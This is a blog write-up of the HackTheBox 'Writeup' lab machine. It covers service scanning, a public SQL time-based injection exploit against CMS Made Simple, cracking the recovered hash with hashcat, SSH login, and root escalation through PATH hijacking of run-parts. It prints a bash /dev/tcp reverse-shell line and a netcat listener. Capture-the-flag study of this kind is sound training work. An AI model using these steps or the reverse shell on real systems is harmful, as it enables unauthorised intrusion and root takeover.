HackTheBox – Writeup Write-up

Hi everyone!

Today’s post is on Writeup, an easy HackTheBox GNU/Linux machine. It was released on 9th June 2019. To access the server to get the user flag is fairly simple but to escalate privileges is quite hard for me to find clues until HackTheBox’s discussion forum helped me with some clues. This machine is on a CMS Made Simple’s CVE on SQL time-based injection and path hijacking for privilege escalation. Let’s get started!

Fig 1. Writeup challenge on HackTheBox

Tools required

Service discovery with Nmap

As usual, we first have to enumerate the services/ports available on the machine.

└─$ IP=             
└─$ nmap -A -p1-9999 -v $IP
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-21 23:59 +08
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 23:59
Completed NSE at 23:59, 0.00s elapsed
Initiating NSE at 23:59
Completed NSE at 23:59, 0.00s elapsed
Initiating NSE at 23:59
Completed NSE at 23:59, 0.00s elapsed
Initiating Ping Scan at 23:59
Scanning [2 ports]
Completed Ping Scan at 23:59, 0.14s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:59
Completed Parallel DNS resolution of 1 host. at 23:59, 0.02s elapsed
Initiating Connect Scan at 23:59
Scanning [9999 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed Connect Scan at 00:00, 38.66s elapsed (9999 total ports)
Initiating Service scan at 00:00
Scanning 2 services on
Completed Service scan at 00:00, 0.30s elapsed (2 services on 1 host)
NSE: Script scanning
Initiating NSE at 00:00
Completed NSE at 00:00, 14.00s elapsed
Initiating NSE at 00:00
Completed NSE at 00:00, 1.14s elapsed
Initiating NSE at 00:00
Completed NSE at 00:00, 0.00s elapsed
Nmap scan report for
Host is up (0.14s latency).
Not shown: 9997 filtered ports
22/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 00:00
Completed NSE at 00:00, 0.00s elapsed
Initiating NSE at 00:00
Completed NSE at 00:00, 0.00s elapsed
Initiating NSE at 00:00
Completed NSE at 00:00, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.26 seconds

As there is a website running at port 80, let’s go into the website to take a look.

Website outlook and obtaining credentials

Fig 4a. Outlook of the website at

Modify host file

As we can see based on the email, jkr@writeup.htb, we now know the domain name. Let’s go add it in the /etc/hosts.

└─$ sudo nano /etc/hosts       localhost       kali writeup.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

I tried Gobuster but our connection was blocked after a while. Looking at the main page, we can see DoS protection is in place. I also looked at the response header but there is no useful information.

Clues at robots.txt

Another good place to look at is robots.txt. From there, we can see there is another folder/directory we can access.

Fig 4b. Content in robots.txt

If we go into the /writeup/ directory, we can see a different-looking website.

Fig 4c. Website outlook at /writeup/ directory

Obtaining CMS used for the website

If we press CTRL+U at http://writeup.htb/writeup/, we can see CMS Made Simple is used to build the website in the /writeup/ directory.

Fig 4d. CMS Made Simple is revealed at line 6 of the source code

SQL time-based injection attack

Just a quick google for exploitDB on CMS Made Simple, I found a CVE exploit on SQL time-based injection here. The script is in Python2 hence we have to install termcolor package.

└─$ python2 -m pip install termcolor 
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                                        
Defaulting to user installation because normal site-packages is not writeable
Collecting termcolor
  Using cached termcolor-1.1.0.tar.gz (3.9 kB)
Building wheels for collected packages: termcolor
  Building wheel for termcolor (setup.py) ... done
  Created wheel for termcolor: filename=termcolor-1.1.0-py2-none-any.whl size=4831 sha256=cec40806d5e02a907b81a5e1bf7e8db3d0ba7f7ef4838c0e0b8b3c9982f19f1f
  Stored in directory: /home/soulx/.cache/pip/wheels/48/54/87/2f4d1a48c87e43906477a3c93d9663c49ca092046d5a4b00b4
Successfully built termcolor
Installing collected packages: termcolor
Successfully installed termcolor-1.1.0

I copy, paste, and saved the exploit in cmsms_sql_injection.py and run it with Python2. A wordlist is used to crack the password.

└─$ python2 ./cmsms_sql_injection.py -u http://writeup.htb/writeup -c -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[*] Try: raykayjay9

We can see that the salt, username, email, and password were found. However, the password was not found as the program ended when it reached raykayjay9 which is kind of strange. It might be the password. However, to further verify it, I used Hashcat. If we look at the exploit code from exploitDB, we will know that the salt and password is in this format: salt:password. This is flag -m 20 in Hashcat as shown here.

└─$ echo 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807 > writeuphash.hash

└─$ hashcat -m 20 writeuphash.hash /usr/share/wordlists/rockyou.txt       
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, 3185/3249 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5($salt.$pass)
Hash.Target......: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
Time.Started.....: Thu Jul 22 16:57:39 2021 (2 secs)
Time.Estimated...: Thu Jul 22 16:57:41 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2368.1 kH/s (0.27ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 4360192/14344385 (30.40%)
Rejected.........: 0/4360192 (0.00%)
Restore.Point....: 4358144/14344385 (30.38%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: raynerleow -> raygan96

Started: Thu Jul 22 16:57:05 2021
Stopped: Thu Jul 22 16:57:41 2021

The password is indeed raykayjay9. As we already know the username is jkr, let’s try to SSH with those credentials.

Obtaining user flag

└─$ ssh jkr@$IP                 
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:TEw8ogmentaVUz08dLoHLKmD7USL1uIqidsdoX77oy0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
jkr@'s password: raykayjay9
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jkr@writeup:~$ ls
jkr@writeup:~$ cat user.txt 

Privilege escalation and obtaining root flag

As usual, I first tried sudo -l but it stated that sudo command is not found. Therefore, I tried linPEAS.sh but there wasn’t any issue information. That is when I searched for the discussion forum and obtained a hint that a special process is made whenever we SSH into jkr’s account.

Looking at current running processes with privileges

Downloading Pspy and uploading it into the machine via SCP, we can use it to see the current processes running with what privileges.

└─$ scp ./pspy64 jkr@$IP:.                                  
jkr@'s password: raykayjay9

Once it is on the machine, we can then use our current SSH instance to run it. After running it, open another terminal in your OS and SSH into jkr’s account. You should see a process created below.

jkr@writeup:~$ chmod 744 pspy64 
jkr@writeup:~$ ./pspy64
2021/07/22 06:13:12 CMD: UID=1000 PID=16216  | -bash 
2021/07/22 06:13:14 CMD: UID=0    PID=16217  | sshd: [accepted]
2021/07/22 06:13:14 CMD: UID=0    PID=16218  | sshd: [accepted]  
2021/07/22 06:13:27 CMD: UID=0    PID=16219  | sshd: jkr [priv]  
2021/07/22 06:13:27 CMD: UID=0    PID=16220  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/22 06:13:27 CMD: UID=0    PID=16221  | run-parts --lsbsysinit /etc/update-motd.d 
2021/07/22 06:13:27 CMD: UID=0    PID=16222  | /bin/sh /etc/update-motd.d/10-uname 
2021/07/22 06:13:27 CMD: UID=0    PID=16223  | sshd: jkr [priv]  
2021/07/22 06:13:27 CMD: UID=1000 PID=16224  | sshd: jkr@pts/1   
2021/07/22 06:13:27 CMD: UID=1000 PID=16225  | -bash

Looking at the process in which I made it into blue font, we can see that it has root privilege due to UID=0. Besides that, it runs a program called run-parts by searching for it in the environmental path.

If we look at the location of run-parts, we can see that it is located at /bin.

jkr@writeup:~$ which run-parts

/bin is the last of the environmental path which the system will look for. It will look for run-parts at /usr/local/sbin, and followed by /usr/local/bin if not found, and so on until run-parts is found. Therefore, we can create a malicious file called run-parts in any of those directories before /bin. This is known as path hijacking.

If we look at /usr/local/sbin and /usr/local/bin, we can see that only root and staff can access it. Looking at who is on staff, we can see jkr is in it. This means we can create malicious run-parts in it.

jkr@writeup:~$ cd /usr/local/
jkr@writeup:/usr/local$ ls -l
total 56
drwx-wsr-x 2 root staff 20480 Apr 19  2019 bin
drwxrwsr-x 2 root staff  4096 Apr 19  2019 etc
drwxrwsr-x 2 root staff  4096 Apr 19  2019 games
drwxrwsr-x 2 root staff  4096 Apr 19  2019 include
drwxrwsr-x 4 root staff  4096 Apr 24  2019 lib
lrwxrwxrwx 1 root staff     9 Apr 19  2019 man -> share/man
drwx-wsr-x 2 root staff 12288 Apr 19  2019 sbin
drwxrwsr-x 7 root staff  4096 Apr 19  2019 share
drwxrwsr-x 2 root staff  4096 Apr 19  2019 src
jkr@writeup:/usr/local$ cat /etc/group | grep staff

Therefore, let’s create a bash script called run-parts that will make a reverse TCP connection back to our OS to obtain a reverse shell.

jkr@writeup:/usr/local$ cd sbin
jkr@writeup:/usr/local/sbin$ nano run-parts

Inside the Nano editor:


bash -i &>/dev/tcp/ 0<&1

Save the file and change the permission.

jkr@writeup:/usr/local/sbin$ chmod 777 run-parts

Quickly open a new terminal on your OS and run Netcat to listen to the port you specify. If you do it slowly, the run-parts file will be deleted by Cron after a while. We will take a look at that later.

└─$ nc -lvnp 1337  
listening on [any] 1337 ..

Now that we have Netcat listen at that port, open another terminal and SSH into jkr’s account. This should cause our malicious run-parts to be run instead. If yours is not working, probably Cron has deleted your malicious run-parts. Repeat the previous steps again if required.

Your Netcat should have received an incoming connection and obtained an interactive reverse root shell.

└─$ nc -lvnp 1337  
listening on [any] 1337 ..
connect to [] from (UNKNOWN) [] 55956
bash: cannot set terminal process group (16639): Inappropriate ioctl for device
bash: no job control in this shell

Obtaining root flag

root@writeup:/# cd /root
cd /root
root@writeup:/root# ls
root@writeup:/root# cat root.txt
cat root.txt

Understanding why run-parts will get deleted

If we look at the output of Pspy, we will notice that once in a while, Cron will run /root/bin/cleanup.pl.

jkr@writeup:~$ ./pspy64
2021/07/22 06:46:02 CMD: UID=0    PID=16654  | /usr/sbin/CRON 
2021/07/22 06:46:02 CMD: UID=0    PID=16655  | /usr/sbin/CRON 
2021/07/22 06:46:02 CMD: UID=0    PID=16656  | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 
2021/07/22 06:46:12 CMD: UID=0    PID=16657  | cat /root/bin/cleanup.pl

Since we now have the root reverse shell, we can look at the source code of cleanup.pl.

root@writeup:/usr/local/sbin# cat /root/bin/cleanup.pl
cat /root/bin/cleanup.pl
my $age = 60;
while ($_ = glob('/usr/local/sbin/* /usr/local/bin/*')) {
  next if -d $_;
  my $mtime = (stat($_))[9];
  # delete files older than 3 minutes
  # to try to not spoil others
  if(time-$mtime > $age) {

We can see that if we create a file in /usr/local/sbin or /usr/local/bin, it will get deleted after a while.

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂


Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.